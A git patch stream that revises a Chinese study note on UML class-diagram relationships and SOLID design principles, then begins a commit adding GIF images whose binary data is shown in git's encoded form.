+        for(Instrument instrument : instruments) {
+            instrument.play();
+        }
+    }
 }
 ```
 
-# 二、类图
+# 二、类图
 
-以下类图使用 [PlantUML](https://www.planttext.com/) 绘制，更多语法及使用请参考：http://plantuml.com/ 。
+以下类图使用 [PlantUML](https://www.planttext.com/) 绘制，更多语法及使用请参考：http://plantuml.com/ 。
 
-## 泛化关系 (Generalization)
+## 泛化关系 (Generalization)
 
-用来描述继承关系，在 Java 中使用 extends 关键字。
+用来描述继承关系，在 Java 中使用 extends 关键字。
 
-![](index_files/SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png)
+<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png"/> </div><br>
 
 ```text
 @startuml
 
-title Generalization
+title Generalization
 
-class Vihical
-class Car
-class Trunck
+class Vihical
+class Car
+class Trunck
 
-Vihical <|-- Car
-Vihical <|-- Trunck
+Vihical <|-- Car
+Vihical <|-- Trunck
 
 @enduml
 ```
 
-## 实现关系 (Realization)
+## 实现关系 (Realization)
 
-用来实现一个接口，在 Java 中使用 implements 关键字。
+用来实现一个接口，在 Java 中使用 implements 关键字。
 
-![](index_files/SoWkIImgAStDuU8goIp9ILK8IatCoQn.png)
+<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILK8IatCoQn.png"/> </div><br>
 
 ```text
 @startuml
 
-title Realization
+title Realization
 
-interface MoveBehavior
-class Fly
-class Run
+interface MoveBehavior
+class Fly
+class Run
 
-MoveBehavior <|.. Fly
-MoveBehavior <|.. Run
+MoveBehavior <|.. Fly
+MoveBehavior <|.. Run
 
 @enduml
 ```
 
-## 聚合关系 (Aggregation)
+## 聚合关系 (Aggregation)
 
 表示整体由部分组成，但是整体和部分不是强依赖的，整体不存在了部分还是会存在。
 
-![](index_files/SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png)
+<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png"/> </div><br>
 
 ```text
 @startuml
 
-title Aggregation
+title Aggregation
 
-class Computer
-class Keyboard
-class Mouse
-class Screen
+class Computer
+class Keyboard
+class Mouse
+class Screen
 
-Computer o-- Keyboard
-Computer o-- Mouse
-Computer o-- Screen
+Computer o-- Keyboard
+Computer o-- Mouse
+Computer o-- Screen
 
 @enduml
 ```
 
-## 组合关系 (Composition)
+## 组合关系 (Composition)
 
 和聚合不同，组合中整体和部分是强依赖的，整体不存在了部分也不存在了。比如公司和部门，公司没了部门就不存在了。但是公司和员工就属于聚合关系了，因为公司没了员工还在。
 
-![](index_files/SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png)
+<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png"/> </div><br>
 
 ```text
 @startuml
 
-title Composition
+title Composition
 
-class Company
-class DepartmentA
-class DepartmentB
+class Company
+class DepartmentA
+class DepartmentB
 
-Company *-- DepartmentA
-Company *-- DepartmentB
+Company *-- DepartmentA
+Company *-- DepartmentB
 
 @enduml
 ```
 
-## 关联关系 (Association)
+## 关联关系 (Association)
 
-表示不同类对象之间有关联，这是一种静态关系，与运行过程的状态无关，在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系，一个学校可以有很多学生，但是一个学生只属于一个学校，因此这是一种多对一的关系，在运行开始之前就可以确定。
+表示不同类对象之间有关联，这是一种静态关系，与运行过程的状态无关，在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系，一个学校可以有很多学生，但是一个学生只属于一个学校，因此这是一种多对一的关系，在运行开始之前就可以确定。
 
-![](index_files/SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png)
+<div align="center"> <img src="pics/SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png"/> </div><br>
 
 ```text
 @startuml
 
-title Association
+title Association
 
-class School
-class Student
+class School
+class Student
 
-School "1" - "n" Student
+School "1" - "n" Student
 
 @enduml
 ```
 
-## 依赖关系 (Dependency)
+## 依赖关系 (Dependency)
 
-和关联关系不同的是，依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式：
+和关联关系不同的是，依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式：
 
-- A 类是 B 类方法的局部变量；
-- A 类是 B 类方法当中的一个参数；
-- A 类向 B 类发送消息，从而影响 B 类发生变化。
+- A 类是 B 类方法的局部变量；
+- A 类是 B 类方法当中的一个参数；
+- A 类向 B 类发送消息，从而影响 B 类发生变化。
 
-![](index_files/LOun2W9134NxVugmbJPp15d4LalxC4O.png)
+<div align="center"> <img src="pics/LOun2W9134NxVugmbJPp15d4LalxC4O.png"/> </div><br>
 
 ```text
 @startuml
 
-title Dependency
+title Dependency
 
-class Vihicle {
-    move(MoveBehavior)
+class Vihicle {
+    move(MoveBehavior)
 }
 
-interface MoveBehavior {
-    move()
+interface MoveBehavior {
+    move()
 }
 
-note "MoveBehavior.move()" as N
+note "MoveBehavior.move()" as N
 
-Vihicle ..> MoveBehavior
+Vihicle ..> MoveBehavior
 
-Vihicle .. N
+Vihicle .. N
 
 @enduml
 ```
 
-# 三、设计原则
+# 三、设计原则
 
-## S.O.L.I.D
+## S.O.L.I.D
 
-| 简写 | 全拼 | 中文翻译 |
-| :--: | :--: | :--: |
-| SRP | The Single Responsibility Principle    | 单一责任原则 |
-| OCP | The Open Closed Principle              | 开放封闭原则 |
-| LSP | The Liskov Substitution Principle      | 里氏替换原则 |
-| ISP | The Interface Segregation Principle    | 接口分离原则 |
-| DIP | The Dependency Inversion Principle     | 依赖倒置原则 |
+| 简写 | 全拼 | 中文翻译 |
+| :--: | :--: | :--: |
+| SRP | The Single Responsibility Principle    | 单一责任原则 |
+| OCP | The Open Closed Principle              | 开放封闭原则 |
+| LSP | The Liskov Substitution Principle      | 里氏替换原则 |
+| ISP | The Interface Segregation Principle    | 接口分离原则 |
+| DIP | The Dependency Inversion Principle     | 依赖倒置原则 |
 
-### 1. 单一责任原则
+### 1. 单一责任原则
 
-> 修改一个类的原因应该只有一个。
+> 修改一个类的原因应该只有一个。
 
 换句话说就是让一个类只负责一件事，当这个类需要做过多事情的时候，就需要分解这个类。
 
 如果一个类承担的职责过多，就等于把这些职责耦合在了一起，一个职责的变化可能会削弱这个类完成其它职责的能力。
 
-### 2. 开放封闭原则
+### 2. 开放封闭原则
 
-> 类应该对扩展开放，对修改关闭。
+> 类应该对扩展开放，对修改关闭。
 
 扩展就是添加新功能的意思，因此该原则要求在添加新功能时不需要修改代码。
 
 符合开闭原则最典型的设计模式是装饰者模式，它可以动态地将责任附加到对象上，而不用去修改类的代码。
 
-### 3. 里氏替换原则
+### 3. 里氏替换原则
 
-> 子类对象必须能够替换掉所有父类对象。
+> 子类对象必须能够替换掉所有父类对象。
 
-继承是一种 IS-A 关系，子类需要能够当成父类来使用，并且需要比父类更特殊。
+继承是一种 IS-A 关系，子类需要能够当成父类来使用，并且需要比父类更特殊。
 
 如果不满足这个原则，那么各个子类的行为上就会有很大差异，增加继承体系的复杂度。
 
-### 4. 接口分离原则
+### 4. 接口分离原则
 
-> 不应该强迫客户依赖于它们不用的方法。
+> 不应该强迫客户依赖于它们不用的方法。
 
 因此使用多个专门的接口比使用单一的总接口要好。
 
-### 5. 依赖倒置原则
+### 5. 依赖倒置原则
 
-> 高层模块不应该依赖于低层模块，二者都应该依赖于抽象；</br>抽象不应该依赖于细节，细节应该依赖于抽象。
+> 高层模块不应该依赖于低层模块，二者都应该依赖于抽象；</br>抽象不应该依赖于细节，细节应该依赖于抽象。
 
 高层模块包含一个应用程序中重要的策略选择和业务模块，如果高层模块依赖于低层模块，那么低层模块的改动就会直接影响到高层模块，从而迫使高层模块也需要改动。
 
 依赖于抽象意味着：
 
-- 任何变量都不应该持有一个指向具体类的指针或者引用；
-- 任何类都不应该从具体类派生；
-- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
+- 任何变量都不应该持有一个指向具体类的指针或者引用；
+- 任何类都不应该从具体类派生；
+- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
 
-## 其他常见原则
+## 其他常见原则
 
 除了上述的经典原则，在实际开发中还有下面这些常见的设计原则。
 
-| 简写    | 全拼    | 中文翻译 |
-| :--: | :--: | :--: |
-|LOD|    The Law of Demeter                   | 迪米特法则   |
-|CRP|    The Composite Reuse Principle        | 合成复用原则 |
-|CCP|    The Common Closure Principle         | 共同封闭原则 |
-|SAP|    The Stable Abstractions Principle    | 稳定抽象原则 |
-|SDP|    The Stable Dependencies Principle    | 稳定依赖原则 |
+| 简写    | 全拼    | 中文翻译 |
+| :--: | :--: | :--: |
+|LOD|    The Law of Demeter                   | 迪米特法则   |
+|CRP|    The Composite Reuse Principle        | 合成复用原则 |
+|CCP|    The Common Closure Principle         | 共同封闭原则 |
+|SAP|    The Stable Abstractions Principle    | 稳定抽象原则 |
+|SDP|    The Stable Dependencies Principle    | 稳定依赖原则 |
 
-### 1. 迪米特法则
+### 1. 迪米特法则
 
-迪米特法则又叫作最少知识原则（Least Knowledge Principle，简写 LKP），就是说一个对象应当对其他对象有尽可能少的了解，不和陌生人说话。
+迪米特法则又叫作最少知识原则（Least Knowledge Principle，简写 LKP），就是说一个对象应当对其他对象有尽可能少的了解，不和陌生人说话。
 
-### 2. 合成复用原则
+### 2. 合成复用原则
 
 尽量使用对象组合，而不是通过继承来达到复用的目的。
 
-### 3. 共同封闭原则
+### 3. 共同封闭原则
 
 一起修改的类，应该组合在一起（同一个包里）。如果必须修改应用程序里的代码，我们希望所有的修改都发生在一个包里（修改关闭），而不是遍布在很多包里。
 
-### 4. 稳定抽象原则
+### 4. 稳定抽象原则
 
 最稳定的包应该是最抽象的包，不稳定的包应该是具体的包，即包的抽象程度跟它的稳定性成正比。
 
-### 5. 稳定依赖原则
+### 5. 稳定依赖原则
 
 包之间的依赖关系都应该是稳定方向依赖的，包要依赖的包要比自己更具有稳定性。
 
-# 参考资料
+# 参考资料
 
-- Java 编程思想
-- 敏捷软件开发：原则、模式与实践
-- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
-- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
-- [UML 系列——时序图（顺序图）sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
-- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)
+- Java 编程思想
+- 敏捷软件开发：原则、模式与实践
+- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
+- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
+- [UML 系列——时序图（顺序图）sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
+- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)

From 1c3ba6c30b8b3ae6be670083166c4f94e47ae6a9 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 24 Jan 2019 09:13:50 +0800
Subject: [PATCH 038/100] auto commit

---
 .../pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif  | Bin 0 -> 18432 bytes
 ..._u7EC4_u4E2D_u91CD_u590D_1548260392361.gif | Bin 0 -> 29696 bytes
 docs/notes/pics/_u66FF_u6362_u7A7A_u683C.gif  | Bin 0 -> 11264 bytes
 docs/notes/剑指 offer 题解.md                 |  23 +++++++++---------
 docs/pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif | Bin 0 -> 18432 bytes
 ..._u7EC4_u4E2D_u91CD_u590D_1548260392361.gif | Bin 0 -> 29696 bytes
 docs/pics/_u66FF_u6362_u7A7A_u683C.gif        | Bin 0 -> 11264 bytes
 7 files changed, 11 insertions(+), 12 deletions(-)
 create mode 100644 docs/notes/pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif
 create mode 100644 docs/notes/pics/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif
 create mode 100644 docs/notes/pics/_u66FF_u6362_u7A7A_u683C.gif
 create mode 100644 docs/pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif
 create mode 100644 docs/pics/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif
 create mode 100644 docs/pics/_u66FF_u6362_u7A7A_u683C.gif

diff --git a/docs/notes/pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif b/docs/notes/pics/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif
new file mode 100644
index 0000000000000000000000000000000000000000..763fc1a39fe0c495b6b54ebb5b3e844d70dad014
GIT binary patch
literal 18432
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
